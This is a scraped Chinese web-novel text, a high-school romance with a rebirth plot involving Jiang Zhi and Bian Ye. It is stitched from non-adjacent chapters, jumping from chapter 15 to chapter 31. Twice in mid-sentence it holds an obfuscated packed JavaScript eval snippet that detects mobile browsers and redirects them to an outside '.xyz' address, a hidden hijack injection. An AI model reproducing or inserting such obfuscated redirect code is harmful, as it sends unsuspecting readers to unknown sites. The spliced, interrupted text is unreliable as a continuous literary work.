他眼瞳漆黑冷冽,“对面会所鱼龙混杂,我把你送进去,新不新鲜?” 傅诗语哪还不明白他的意思,她一个长相漂亮的女高中生被送进那种地方,怎么可能全须全尾得出来? 她恐惧地疯狂摇头,眼泪不要钱地往下掉,“我错了边少,我真的知道错了!” 边野冷着脸,五官攻击性强,看人时带着股阴狠感。 “明天早会,公开道歉。”他声音冰冷锐利,“好心提醒你,我教训人不分男女。” 傅诗语怕得点头如捣蒜,整个人都快碎了。 “滚。” 边野面色阴沉,如蛇蝎吐信。 傅诗语哪敢多待,也顾不上旁边人震惊的眼神,慌乱地爬起来,跌跌撞撞地跑出去。 宋言旭轻嘶一声,野哥这是真对姜妹妹上心了? - 姜栀扭了脚,被池念一顿关心,她撒谎都撒得不利索了。好在池念粗心,并没有发现什么异常。 她想着回去整理下逻辑,明天再在论坛整理澄清,没想到第二天一早,傅诗语在早会上当着西区所有师生的面点了她的名字。 “姜栀同学,我在此郑重地跟你道歉。”傅诗语紧捏着话筒,面对台下无数不解和疑惑的眼神,硬着头皮继续。 “论坛那张偷拍姜栀上豪车的照片是我放的,也是我有意想引导大家对姜栀进行品评。” 一时间,台下哗然。 无数议论声如沸腾的水泡,此起彼伏。 队伍中的姜栀也明显愣住,她只是让傅诗语在论坛帮她澄清,并没有让她在早会上道歉。 更何况,这并不像是她的性子能做出来的事。 傅诗语不敢去看同学们的眼神,但她更怕边野。 昨天在金霆,她是真的感觉到,他可能真的会弄死她。 “请大家不要再对姜栀同学进行言语攻击,照片都是我找角度特意拍的。”她深吸一口气,深深鞠了一躬,“姜栀同学,对不起!” 这下台下彻底炸锅。 “没想到区花心思这么恶毒,也就这张脸能看了,好恶心啊!” “姜栀虽然丑但也不作妖啊,真是惨,遇到这种神经病,亏我们之前还在帖子底下冲锋陷阵。” “以后一定要远离她,跟毒蛇似的,保不准什么时候被咬一口!” “……” 昨天还带着有色眼镜看姜栀的同学,现在一边倒地怜悯上她。她站在队伍里,接收到不少同情的目光。 池念震惊不已,“她改性了?” “我也不知道。”姜栀摇摇头。她抬头看向主席台,傅诗语红着眼眶,像受了什么惊吓一样,说完就匆匆跑了下去。 好奇怪。 早会一解散,姜栀就朝着傅诗语走过去,她不觉得她有这么好心。 傅诗语被挡住去路,不爽地皱眉,却因为边野不敢再随意攻击。她到现在都不能理解,边野为什么会帮一个丑八怪出头。 “你怎么会突然改主意?”姜栀安安静静地看她,傅诗语那双漂亮的眼睛里似乎有很多复杂的情绪,乱哄哄地糅杂在一起,但最终化为不甘。 “我都已经道歉澄清了,你还想怎样?”她从昨天憋屈到现在,情绪有点失控,“你别得了便宜还卖乖!” 傅诗语一阵风似的迅速走了,留姜栀在原地发懵。 池念愤愤不平,“怎么做坏事的人还有理了,别太过分!” 姜栀倒是平静一些。 帖子发都发了,看到的人不少,她没超能力抹除他们脑子里的这部分记忆,现在傅诗语能把事情澄清得这么明白,对她已经是最好的结果了。 安慰了池念,两个人挽着手回了教室。 姜栀腿脚不便,放学没有赶热潮,等着同学们走得差不多了,才背着书包缓起身。不 “慢点慢点。”池念比她还紧张,非要扶着她。 她反抗不了,还被逗笑。 “你还笑呢,都伤成这样,要不是你亲口说是不小心崴的,我都要怀疑有人害你了。”池念皱着眉絮絮叨叨。 姜栀糊弄两句,慢吞吞到了校门口,不期然看见那辆红色超跑。 车窗没升,边野一手搭在驾驶座边的窗框上,一手搭着方向,似有所感般,在她刚出来的时候对上她的视线。 眼神冷淡,像是等了很久,有点不耐烦了。 “上车。” 隔得不远,姜栀听得很清楚。 池念咂吧着嘴,往她身边凑了凑,低声问:“知知,你跟……你跟边野真的关系清白吗?我怎么感觉哪里不对劲啊。” 边野从来不来西区,唯二两次都是因为知知。 很难评。 “有吗?”姜栀困惑。 都不在一个户口本上,他也只是爸爸旧友的儿子,她顶多叫一声哥哥。 没和池念再聊,她拖着不方便的腿走过去上车。 车门关上,边野踩了油门飞驰出去。 姜栀很好奇,“要去哪里吗?” “回家。”边野神色懒散,像是做任务似的告知她。 她没忍住偏头看他,欲言又止。 边野面不改色地胡诌,“奶奶晚上让我带你回老宅吃饭,我说你瘸了,她让我照看你,不然就跟我拼命。” 怪不得。 但她还是有点儿不满地皱起小脸,只是崴了脚,哪里瘸了。 “替我谢谢奶奶。” 边野余光瞥了她一秒,什么也没说。 气氛安静了会儿,姜栀想起什么,故作无聊地捏起书包带子,“今天早会的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15236987|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事你们东区听得见吗?” 她说着,小心翼翼去偷瞄他。 边野神色不变,模样一如刚才那样散漫,“不关心。” 像是不耐烦她的问题。 “哦。”姜栀及时收回视线,觉得自己真是想多了。 他不讨厌自己就不错了,怎么可能还帮她。 她望着窗外急速倒退的柏树,没有再说话。 回到边家,姜栀先行下车,拖着腿进门。 “知知回来啦。”管叔看见她面容慈祥地招呼,“叔给炖了汤,你快去趁热喝。” 姜栀笑着点头,“谢谢管——” “少爷?”她话还没说完就被打断,视线里,管叔脸上的笑戛然而止,一脸震惊,震惊之下还有点儿说不上来的慌。 姜栀回头去看,边野已经上了台阶,离她几步距离。 他怎么会想着突然回来住。 管叔已经吓蒙圈了,但经验使他迅速反应过来,趁边野还在换鞋,拉着姜栀往厨房走,丝毫没看见他暗沉下去的眼神。 “知知,少爷回来得太突然了。家里来了……来了个客人,就在楼上,之前跟少爷有些摩擦,”他看着已经往楼上去的边野,急得不行,“你快想个办法先把少爷带出去,不然要出大事!” 她不怎么见管叔这副模样,一定是很严重才会这么失态。 姜栀赶紧从厨房出去,眼看着边野已经上了一方楼梯,急中生乱智,“边野!” 他闻声停住,低眸看她,神色淡漠。 “我、我有件事想麻烦你,可以吗?”她努力使自己内心平静下来,却还抵不住天然的紧张。 边野视线在她脸上逡巡片刻,转身下楼。 姜栀愣了下,她以为他不会理她,至少不会这么轻易,急地打了一肚子草稿。 直到边野站在她面前,她才回过神。 “什么事?”他眼神没什么温度。 姜栀有点儿怕,但她强忍着。隐约听到点儿楼上传来的细微动静,她来不及思考,抓着边野的手臂就往外带。 直到出来了很长一段距离,她才喘了口气,脸颊因为紧张而染上轻微红晕。 “到底什么事?”边野耐心告罄,本就比她高出一个头,现下威慑感满满。 怎么办。 姜栀有点心慌,捏着手心,在忐忑的心跳声中开口:“我想吃翡记糕点,你……你可不可以带我去一下?” 说完她就觉得死定了。 这理由太荒唐了,边野怎么会信,她脑子怎么关键时刻掉链子。 “就这个?”低沉的嗓音在头顶响起,似乎觉得她要说的事情太可笑。 姜栀低垂着眼睫,耳根红透,硬着头皮应。 看见边野往回走,她有点儿挫败。 果然是被他看出来了吧。 片刻后,那道身影又走了出来,手里拿着车钥匙。 “傻站着当门神?” 她愣住,一时说不出话来,“你……” 边野像是在看傻子,“不是你要去翡记?” 直到坐上车,姜栀还是很难相信,她就用这么个理由成功骗过了他?这么好骗吗? “安全带。” 边野偏头提醒她,她反应过来,刚准备转身去拉,就眼尖地看见客厅走出来个身姿靓丽的陌生女人。 一秒钟,姜栀就意识到这是管叔嘴里的客人。 几乎是瞬间,她迅速转头,不管不顾地蒙住了他的眼睛。 “别,别动。”姜栀紧张得舌头打结。 车里空间不大,她半个身子都偏向主驾驶区,离他很近。 柔软的触感覆盖在眼皮上,边野鬼使神差地听了话。 距离短,那股清浅的体.香萦绕在鼻尖。 他没来由想起那晚在鹤加山,也是这样安宁宜人的气息。 心脏跳动的声音鼓动在耳膜边,充斥着感官。 这一瞬间,边野说不上来是什么感觉,他明明该推开她,却生出一丝贪恋。 15. 第 15 章(含入v公告) 后视镜里的陌生女人很快消失,姜栀心里松了口气。回头去看边野,依旧是那个姿态,她竟生出一种他任由摆布的错觉。 轻轻擦了下他额角,她松开手往回坐,垂眸掩饰自己的心虚,“刚刚……你头上有脏东西。” 边野漆黑的眼睛错开她,漫不经心地扫了眼右后视镜,视线在正厅门口停留一瞬,什么也没说,将车开出去。 到那儿时,翡记已经打烊了。 本就是随时起的一个念头,她倒没什么遗憾。 回去时那个陌生女人已经走了,姜栀不动声色地松了口气。 她以为这个小插曲就这么过去了,没想到第二天早起下楼时,在餐桌上看到了一堆翡记糕点。 惊讶间,管叔走过来拿了一盒塞她手里,“知知,这个你带上,去学校吃。” “这是……”她脑子里下意识浮现边野的名字,但又觉得不太可能,“谁买的呀?” 管叔笑得亲切慈祥,“翡记那边的人一大早送来的,说是边总之前对他们有恩,送了点当季新品过来聊表心意。” “哦。”她就说她想多了,是谁也不可能是边野。 翡记糕点很有特色,在宿城名气也不小,分给池念时,她开心得两眼放光,吃得嘴巴鼓鼓囊囊,“软软糯糯,一点也不甜腻,不愧是翡记!” 姜栀被她感染到,柔柔一笑,“慢点吃,别噎着。” “哦对了知知,杜老师说学校下下周要开运动会,让班里人都积极参加,你有没有什么想报的项目呀?” 池念咬着糕点,声音含含糊糊。 姜栀摇摇头,“不了吧,我不擅长运动类的,你可以报呀,我给你加油打气。” 正从后门进来的周琪琳听见眼底闪过一丝暗色。 她的座位就在姜栀前面两排,势必要路过。 池念擦个嘴的工夫就看见即将走过去的周琪琳,大声喊住她,“傅诗语都道歉了,你四处传播造谣是不是也该给姜栀道个歉?” 她性子直,有什么说什么。 听到动静的同学纷纷看过来。 周琪琳脸色变了变,嘴硬道:“我凭什么道歉,帖子又不是我发的,我这顶多就是跟风议论,学校里议论的人还少吗,你有本事一个个找过去让他们道歉啊。” 一副死不悔改的样子。 “你别太过分!”池念气地拍桌。 周琪琳白了她一眼,径直走了。 “哎我这个暴脾气!”池念撸起袖子要冲过去,被姜栀一把按下。 “别冲动。”她了解周琪琳是个什么样的人,最喜欢落井下石逞口舌之快,“这件事既然已经澄清了,大家就都知道真相是什么。更何况嘴长别人身上,要是时时刻刻都要去管,岂不是累死啦?” “你就是脾气太好了。”池念替她委屈。 姜栀眉眼弯弯,往她嘴里塞了块糕点,“尝尝这个雪球,芋泥馅的。” 池念的注意力一下就被转移了。 姜栀看着周琪琳的背影,回想起上辈子。 那场高中毕业后的谢师宴,她听闻周琪琳因为口无遮拦得罪了人,差点被打死,进了重症监护室,躺了一个多月都没能醒过来。 彼时听到,也只觉得唏嘘。 周琪琳回到座位上,心里越想越气,憋闷得难受。 同桌正好是体育委员,那张报名运动会的表格就在他手里。 下课后,她凑过去问:“那张表格你不是还没交给杜老师吗,我想看看有没有能补位的项目。” 同桌正好要去洗手间,随手递给她,“行,你看完后就放回来,我到时候送去给杜老师。” 人一走,周琪琳就拿了笔。几个热门项目都被报完了,她看着1500长跑和跳远项目还空着,不带犹豫地写了姜栀的名字,甚至还模仿了她的字迹。 虽然那张脸是圣嘉尽人皆知的丑陋,但很多人只是听传闻而已,并没有亲眼见过。她要让姜栀在全圣嘉面前出尽丑态。 眼底的得意遮掩不住,周琪琳一想到那个场面就忍不住期待。 同桌回来后,看了眼表格,有点儿奇怪,“姜栀什么时候报的1500跟跳远啊,她应该不行吧?”挺吃体力的。 好在上课铃正巧打响,周琪琳故作若无其事道:“我刚刚看表时,她说她也要看看,我也没想到她这么勇。咱别以貌取人,万一她可以呢。” “说得也是。”同桌应和,见任课老师走进来,立马把表格放回桌兜里。 - 周四的课上到中午就全体放假,下午是东西两区的辩论赛,不参加比赛的同学就在台下观赛。 姜栀在休息室准备的时候,一道高大的身影散漫慵懒地走进来,原本还有窸窸窣窣动静的休息室瞬间安静。 耳边响起一点儿抽气声。 她疑惑地抬头,看见边野那张野性优越的脸。 傅诗语没有半点以前的爱慕之心,害怕地直往后退,恨不得找个地洞钻进去。 她见识过真正的边野,心里只剩下恐惧。 带队老师急匆匆过来,一脸歉意,“不好意思边同学,我有点事耽误来晚了。” “嗯。”他漫不经心地回应。 “各位同学耽误两分钟。”带队老师拍了拍手掌,“担任反方三辩的同学临时出了点事来不了,现由边野同学替补。” 此话一出,反方辩论选手心里都有点不舒服。 他们是奔着赢去的,边野虽然家世好,但他们也不差。而且他从来不学习,说得难听点,跟混子有什么区别,现在加入他们,不说没有默契,连赢的概率都要被拉低。 边野黑眸扫了眼这些人,扯了下唇不紧不慢道:“多担待。” 东区选手们犹如见鬼,边大少爷什么时候这么好说话了? 姜栀也愣了片刻,她是正方三辩,之前培训的时候,跟反方三辩算是打得有来有回。现在换了边野,她一时有点儿不习惯。 直到比赛开始落了座,姜栀看着对面的人感觉还是有点儿怪怪的。 倒是场内的反应空前热烈,作为圣嘉的风云人物,东区倒是见怪不怪,时常能看见边野,但在西区,学生们大多看见的是他的照片。 现在活生生的人就在场馆里,那种痞性帅气是照片体现不出来的。 边野一出现,就引起了轩然大波,甚至比这场辩论还值得让人看。 但他本人像是毫无所觉,身姿懒散地靠着椅子,眉眼间三分野性的笑,连手稿也没带。 辩论赛整点开始。 姜栀这一组作为第一轮开场,与反方东区就高中生是否应该早恋为题展开了激烈的论点阐述。 西区都是靠成绩进的圣嘉,每年高三的升学率都是圣嘉的金字招牌,在他们看来,学习才是学生的本分,恋爱无足轻重,大学之前就不该存在。 两方紧咬着不放,正方二辩甚至激动得有点上脸。轮到姜栀,她起身礼貌地介绍自己后,开始阐述论点。 和前面的激烈不同,话筒放大了她平稳柔软的嗓音,像轻灵的音乐,慢而有力,“恋爱是件很美好的事情,但应该在合时宜的时候开始。比影响学习更关键的是影响心态……” “……至此,我认为中学生不该早恋。” 边野漆黑的眸子注视着她。 她像一泓清泉,清澈干净,没有半分被污染过的痕迹。就连辩论这样很容易起争执的比赛,到了她身上,似乎也变得平静。不浮不躁的,跟六月的暖风拂面一般。 姜栀说完坐下来了好一会儿也不见边野起身反驳,场馆里响起窃窃私语声,他嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15236988|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾了勾,“反方三辩不同意。” 没有手稿也没有提前培训过,但辩驳的论据却十分犀利。那些许多人听都没听过的名家过往流水似的从他嘴里说出来。 漫不经心的模样,却轻而易举地把人的绕进他的逻辑里。 直到正方一辩反驳到一半才意识到,自己被带歪了。 台下的宋言旭满脸欣慰,还好他机智,在原定选手临时无法上场时迅速找到了带队老师,给野哥报了上去。 他就知道野哥深藏不露,不鸣则已,一鸣惊人。 这下还不得迷死姜妹妹。 姜栀震惊之下还有点儿欣喜。 在少年混不吝的表象之下,她看见了希望。 所以,不爱学习会不会只是他的幌子。 东区几个选手原本还担心边野拖后腿,但几轮辩论下来,不光他们,场馆内的观赛同学也惊奇地发现,边野和传闻中并不完全一样。 那种压倒式的气势和缜密的逻辑像密不透风的网将正方紧紧笼罩。 两方咬得很紧,如果边野再加把力添把火,反方赢下的概率不小。 直到最后一轮。 姜栀说完论点后沉默了会儿,随后把手稿收起来,琥珀色眼眸直视着他,“选择早恋未必有不好的人生,可我相信你不早恋会有更好的未来。” 生日趴那次的真心话,他说自己没有谈过怜爱,但他天生就具备吸引异性的能力,从前没有,以后谁说得好呢。 如果黎姨在,也会想要看见他闪闪发光的样子吧? 边野悠长的视线逡巡着她,发出一声极轻的笑,意味不明。 最后,在所有人期待的目光中,他懒淡开口:“我放弃。” 像一滴水入了油,场馆寂静一瞬,下一秒,炸开了锅。 反方选手更是面面相觑,但他们没胆子去问。 实际上,如果不是边野临时替补进队伍,按照实力来说,他们第三轮应该就被判输了,撑不到最后。 台下的范静宜猛地站起来,眼里尽是不可思议。 明明就要赢了,他为什么放弃? 身旁徐颖轻拽了她一下,“静宜,你先坐下。” 范静宜回过神,这才发现周围同学盯着自己,压着心底那股莫名的憋屈坐下。 她看着台上模样安静乖巧的姜栀,总觉得什么不一样了。 姜栀怔忪地看着他,不是很理解他的脑回路。 在对方辩友的欢呼声中,边野起身离开。 趁着选手们下台休息,姜栀没忍住追了上去。 “边野!” 她拖着腿小跑着喊他。 他停下脚步,神色散漫,“怎么,赢了要向我炫耀?” 姜栀摇头,她平复好气息,毫不吝啬地夸奖:“你今天表现得很好,但为什么突然放弃呀?” 为什么…… 边野没想过,他做事向来随心所欲。只是那一瞬间,他忽然觉得,要是反方有幸真赢了,她会不会红着眼失魂落魄。 “没有为什么。” 他看着那双琥珀色眼睛里自己的身影,清晰却又好像界限分明,“懒得辩了。” 这一幕远远落在站在场馆二楼的范静宜眼里,她缓缓握紧了拳头。 徐颖管不住自己的嘴,“静宜,你觉不觉得,边野对这丑八怪也有点不一样了?” 她怎么看不出来? 原先以为是丑八怪单方面接近边野,像边野这样的天之骄子怎么可能会搭理她。 可一次又一次之后,事态逐渐偏离自己的想象。 但她不允许,苗头就应该扼杀在摇篮里。 范静宜深吸了口气,拿出手机拨通了一个电话,声音恨恨,“那晚戏弄你们的罪魁祸首我找到了,答应我的事还算数吗?” 30-40 第31章 第 31 章 元旦晚会一过, 姜栀这场艳惊四座的表演在论坛里激起了无数讨论帖,好在没有像运动会那样出现围堵校门的情况。 临近期末考试,天越来越冷。 最后一场结束时, 外面阴沉沉的。 考完试就可以直接回去, 等明天上午再来学校半天, 各科老师布置好寒假作业, 这一学期就算过了。 收拾好书包, 姜栀从教室后门出去。 在座位上磨蹭的程杭越看着她远去的身影, 跟了上去。 姜栀坐了公交回去, 一路上都在回想考卷试题。 对她来说,这些题都不难,但不知道边野能做到什么程度。 这几天都没见过,也不晓得他复习得怎么样。 下了公交往边家还有一段路要走,这条路很少有车流,姜栀没走几步, 忽然停下。 她回头看了眼, 空无一人。 好奇怪的感觉。 姜栀蹙眉,难道是她想多了? 回了边家,院子大门关上。 片刻后,一道身影从墙侧出来。 偌大奢华的别墅映入眼底,程杭越定定地盯着。 透过大门,他看见中央的喷泉,假山树石林立,再往前是客厅正门。 离得远, 姜栀的背影小小一只。 正在那换鞋。 程杭越的目光紧紧盯着她后背, 直到她进去彻底看不见了才收回来,落在院子大门的门牌号上。 摸出捡垃圾换来的手机, 他对准们门牌号拍下。 屏幕破裂模糊,但数字依旧可以看见。 宿城寸土寸金,这么大又贵气的别墅,不是几个钱就能买下的,她父母双亡,不可能有钱住在这里。 如果是家财万贯的边野,似乎就说得通了。 程杭越沉着脸,手指用力收紧。 在学校收尽追捧,一副清纯善良的模样,私下里却这么堕落。 她不该这样。 也不可以。 她该跟他一样,他们才是同一类人。 阴冷着眼最后看了眼这座奢豪的别墅,程杭越默不作声地离开。 别墅二楼。 姜栀坐在桌前,用手机买好了后天的车票。 明天放了寒假,后天她就可以回孟城看爷爷奶奶了。 上辈子,她只回去了几天就被奶奶赶回了宿城,等到她打算暑假再回去看时,爷爷奶奶纷纷离世,连遗体都没看见。 她问过姑姑,可姑姑什么都不肯说,还抱怨她是灾星,口口声声说她和妈妈害死了爸爸和爷爷奶奶。 不配做姜家人。 她那时伤心过度,姑姑说的话尖锐又难听,根本没有去细想爷爷奶奶的死因。 重生回来,心智成熟了很多。 爷爷奶奶虽年迈,但也没什么基础病,身体还算硬朗,不该双双过世,还那么突然。 这一次,她一定要看好爷爷奶奶。 明天是这学期最后一天,学生们都很兴奋。 姜栀照常去的时候,班里热热闹闹。 池念侧过来贴着她,笑眯眯问:“知知,下午就放寒假了,你有没有什么打算呀?” “打算?”姜栀眨巴着眼,“写寒假作业算吗?” 池念:“……” “这算什么打算呀。”她眼观鼻鼻观心,“寒假时间长着呢,要不我们去开轰趴吧,放假之前好好玩一玩!” “轰趴?”姜栀眉头微动,“是边野让你问的吗?” “……学霸都这么聪明的吗?”池念感觉根本藏不住嘛,“算也不算吧,是宋言旭,他组的局,想给你和边野一个惊喜。” “他想让我瞒住你的,可惜我没本事。”她一脸伤心。 姜栀被她逗笑,“戏瘾上来了?” 池念哈了口气挠她,“要你嘲笑我,给你点颜色看看。” 她往后直躲,“哈哈哈,我错了哈哈哈……” 程杭越冷漠着脸盯着干干净净的桌子。 边野。 又是边野。 除了出身比他好,还有什么比得过他。 如果他有那样的家世,他会比边野优秀千万倍。 他搭在桌上的双手捏成拳。 上课铃打响后,各科老师过来布置作业,杜曼蓉作为班主任收尾,再三叮嘱大家不要玩物丧志后,就让大家散了。 班里同学们兴奋不已,像出了囚笼的鸟,呼啦啦地飞出去。 池念原本也是要拉着姜栀跑的,但有东西落在家里,就让她先去,还把地址写给了她。 姜栀没那么急,是最后几个出校门的。 公交还要十来分钟才到,她裹紧了衣服,搓了搓凉冰冰的手。 眼看公交就要过来,她却意外看见被人围堵欺负的程杭越。 程杭越腿硌在石头上,五官揪着疼,毫无反抗之力。 “你们在干什么!”都是同班同学,她不能见死不救。 那些欺负人的少年认得她,都知道有边野罩着,也不敢再杵在这儿说什么,纷纷骑车走了。 姜栀走过去才看见他连手也擦破了。 “你还好吗?”她温声问。 程杭越抬起头,很狼狈,却并没躲闪她的眼神。 这是他第一次离姜栀这么近,那双透亮清澈的眸子可真是好看啊。 “程杭越?”她叫他名字。 “嗯。”柔软的气息散落下来,他感觉到血液里的因子都在疯狂跳跃四窜,“腿压到石头了,起不来了,可能得去医院。” “能不能麻烦你送我一下?” 姜栀因为时间有点犹豫,但在他恳求之下还是亲自把人送到了医院。 一番折腾完,等她去往轰趴别墅时,已经是晚上九点多。 冬天这个点,又冷又黑。 姜栀到了地方,远远看见灯火通明的别墅。 走近了才发现这里什么人也没有,那些喝完的瓶瓶罐罐横七竖八地躺着,烧烤铁签散乱地待在桌上。 看得出来,这里之前一片热闹。 那股愧疚感控制不住地升起来。 她在别墅里走了一圈,还是没看到半个人影。 想到大家也许已经散了各回各家,姜栀轻叹了口气,垂着眼睫往外走。 远远的,一道黑影在光线不及的地方坐着。 昏昧中,身形孤寂,看不清五官,唯有指间夹杂着一点猩红。 姜栀站在明黄灯光里,定定看他,“边野?” 那身影没动,也没回应她。 她轻着脚步走过去,还没近身,听到低沉的嗓音:“别过来。” 姜栀顿住,视线落在他身边那些个烟头上。 虽没有离得很近,但能闻到那股烟味。 边野从昏暗里抬头,灭了手里的烟才偏眸看她,声音平淡:“怎么现在才过来?” “我……”姜栀下意识想说,脑海里却响起程杭越的乞求。 ——可不可以别告诉别人这件事,很丢脸。 “连我也不能说?”他嗓音幽沉。 她摇摇头,生硬地转移话题:“他们……什么时候走的?” “一个小时前。”他眼眸本就黑,在昏暗里更加令人捉摸不透。 姜栀心底的愧疚越发浓重。 夜里有风出来,凉飕飕的。 他就穿了件单衣和外套,很薄,寒意无孔不入。 她靠近,探了下他的手,冰得吓人。 边野就任由她靠近,也不说话。 姜栀摸了摸书包,拿出纸巾,包裹着那些烟头扔进垃圾箱。 刚转头,就见他已经起身。 “跟我过来。”丢下这句,边野先她一步走进别墅。 姜栀不知道他要做什么,乖乖跟在他身后。 小小一只,像个软兔子。 进了厨房,他把水开热,又把冰冷的手冲暖,才握住她的手腕。 “……做什么?”姜栀疑惑。 “不脏吗?” 边野淡淡看她一眼,把她的手带到水龙头下冲洗。 他挤了洗手液,洗得很细致。 姜栀偷摸瞥他一眼,脸色好冷淡。 “要不我自己来吧,我可以……”她刚开口,就接收到边野没什么温度的眼神,顿时闭了嘴。 是她今天迟到了,还是别惹他不高兴了。 少年低眸不语,动作温柔地给她清洗双手。 几分钟后,她擦拭干水渍,看着已经走到客厅里的边野,安安静静跟过去。 他身形懒散地靠在沙发上,闭着眼,似乎很疲倦。 “边野。”她在他对面的凳子上坐下,从书包里拿出一个盒子。 “我有给你准备礼物,你不打算理我一下吗?” 气氛沉寂两秒,边野掀起眼皮,看见她手里的黑色盒子。 “所以?”他挑眉。 随随便便就想哄他开心,他可不是什么好哄的人。 姜栀递过去,“你拆开看看。” 他眼皮微垂,到底接过。 盒盖一开,里面是份卷起来的白纸。 他拿出来打开,黑色大字落入眼底,“寒假学习计划……?” 边野声音迟疑,也不知道该气还是该笑,“这就是你的礼物?” 姜栀一脸无辜,乖巧点头,“我本来是想着,如果学校在放假前通知成绩,我可以给你整理一下知识点,但学校没有那个意思,所以我就想出来这个了。” “你要是不喜欢,我再给你想个别的。” 边野被她气笑,低眸扫了眼这份计划表,很详细,一看就是用心做的。 心底升起一丝暖意,他面上依旧淡淡,“今天宋言旭临时组局,我让学校临时出了成绩,没想到你没来。” “出来了?可以给我看看吗?”姜栀切心他成绩,下意识问。 边野被她这副模样自嘲到,“你眼里,它们这么重要?” “这些东西我每看一次就头疼地要死,无数次想要扔出去,但最后都忍住了。”他眸色幽冷,“姜栀,你到底明不明白我为什么愿意学?” 她眼睫微颤,才意识到刚刚那句话的重点。 他什么都不知道,自己又答应了程杭越要保密,听到成绩的问话怎么会没有情绪。 “对不起呀。”姜栀神色愧疚,声音低软。 明明是在道歉,却因为清纯乖巧的模样看起来像是受了委屈,“今天是我错了,你别生气了好不好?” 那双琥珀色瞳眸温柔莹润。 心口一软。 边野错开视线。 “要是你还是不高兴,那就——”她声音轻轻,说到这里止住了话茬。 “怎么?”他眉梢微挑。 姜栀抿了抿嘴,“那就没有办法了,我也不知道你怎么样才能高兴。” 边野低眸,动作散漫地把计划表卷起来放进盒子里,“就没别的礼物?” “没……”她摇头,但很快改口,“我可以重新给你准备一份,但需要一点时间。” “就今天。”他抬起眼皮,懒懒看她。 “可是……”姜栀看了眼时间,已经十点了。 只剩两个小时,今天就要过去了。 边野神色淡淡,“听我的安排,也算礼物。” 她点点头,转而不解,“那……?” “别问那么多,跟我走就行。”边野从沙发上起身,临走时不忘拿上那份计划表。 出了别墅,冷意阵阵。 姜栀加快步子跟上他。 半小时后,两人抵达手工工作室。 里面灯光明亮,透过玻璃门能看见里面陈设着各式各样的手工制品,中央的长桌上摆着许多原材料。 边野推门进去。 里面暖意融融,瞬间隔绝了外面的寒意。 工作室里只有一个中年大叔,蓄着络腮胡,眼窝深陷,有点混血儿的感觉,正在拉胚,看见他们进来,笑着瞥了眼。 “这么晚来,也就只有你能让我等这么久。” 边野散漫勾唇,“嗯,想喝什么酒我下次给你带来。” “好小子,那可就说好了。”中年大叔爽朗一笑,“那边有拉胚机和泥,你们自己操作吧,我忙着,有问题再叫我。” “成。”他带着姜栀往干净的拉胚机过去。 “衣服脱了。”边野从侧边架子上拿下两个围裙,递给她一个。 她是第一次来这种地方,从前也没做过手工制品,慢吞吞接过,“一定要脱吗?” “你要是衣服不要了,我没意见。” “哦。”姜栀乖乖脱下外套,里面穿着件单薄的针织毛衣,衬得脖颈雪白柔软。 边野错开眼神,给自己系上。 在拉胚机前坐下,他拿过陶泥递给她,“陪我一起做个杯子,就当礼物。” 姜栀迟疑,有些无从下手,“我没做过这个,不太会……” 他低垂着眼眸开始捏泥,“跟上我的步骤。” “哦……好。”她赶紧拿起一把陶泥,边看他怎么做边跟着学。 姜栀学习能力一贯很强,很快就已经可以自己上手。 “什么时候回去?”边野状若无意地问。 “孟城吗?” “嗯。” 姜栀温声回他:“明天回去,买的十点的车票。” “把手机带着。”他声音淡淡,却带着不容置喙的意思。 “好。”她应下,思索了会问:“除夕你要去奶奶家过吗?” 他眼皮轻撩,见她做得有模有样,“不然?” “那替我跟奶奶说声新年快乐。” “要说自己说,我很闲?” 姜栀抬眸看了他一眼,脸色淡淡。 算啦,他今天心情不好也是因为她。 那等过完年再去看望奶奶好了。 施完釉后,两个陶泥坯子都被大叔送进窑炉。 姜栀清洗完双手,一边欣赏工作室里的陶瓷制品一边等。 边野姿态懒散的靠坐在后面的椅子上,眸色安静地看着她,嘴角勾起不易察觉的弧度。 “你小子这回认真的?”沈时军慢条斯理地擦拭着手上的水渍,调侃着问。 “嗯。” 沈时军抬眼看了这姑娘,长得清纯明媚,却又乖巧糯人,“你连大学都没上,就确定是她了?还是姑娘见少了。” 边野眉梢微扬,毫不客气地反击:“你见得多,怎么不见你有女朋友?” “嗐,臭小子。”他低声笑了笑,话头一转,“可惜啊,这姑娘对你没意思,没想到有一天还能看到你巴巴地贴着别人的样子,难得,难得啊。” 他眉眼温和,没反驳。 谁能想到有一天,他也会有感谢黎女士的想法。 杯子烧制好以后,姜栀看到自己做的大肚杯,色彩明亮又可爱,忍不住直直盯着看。 还没欣赏完,手中一空,另一个杯子被赛到手里。杯口歪歪扭扭不平整,颜色也像进了混色染缸似的,又蓝又红的,实在算不上好看。 “以后就用这个杯子喝水。”边野眉头微挑,“算作你补偿我的礼物,记住了吗?” 看着这个丑丑的陶瓷杯,她眨巴着眼睛,“我保存起来不可以吗?” 他迎着她的视线,“可以啊,那计划表我就看心情做。” 姜栀心底叹口气,低声嘟囔:“好幼稚哦。” “嗯,你第一天认识我?” 她没接话,指了指他手里那个自己做的,“那这个呢?” 边野淡淡:“明知故问。” 他转身拿过她的外套,“张手。” 姜栀愣了下,瞥了眼大叔,有点尴尬,“我自己穿就行。”说着伸手去拿,却被他躲开。 没办法,她只好照做,垂着眼睫也不敢看别人。 边野细致地给她穿好拉上拉链,又拿了粉色围巾放在她脖子上。 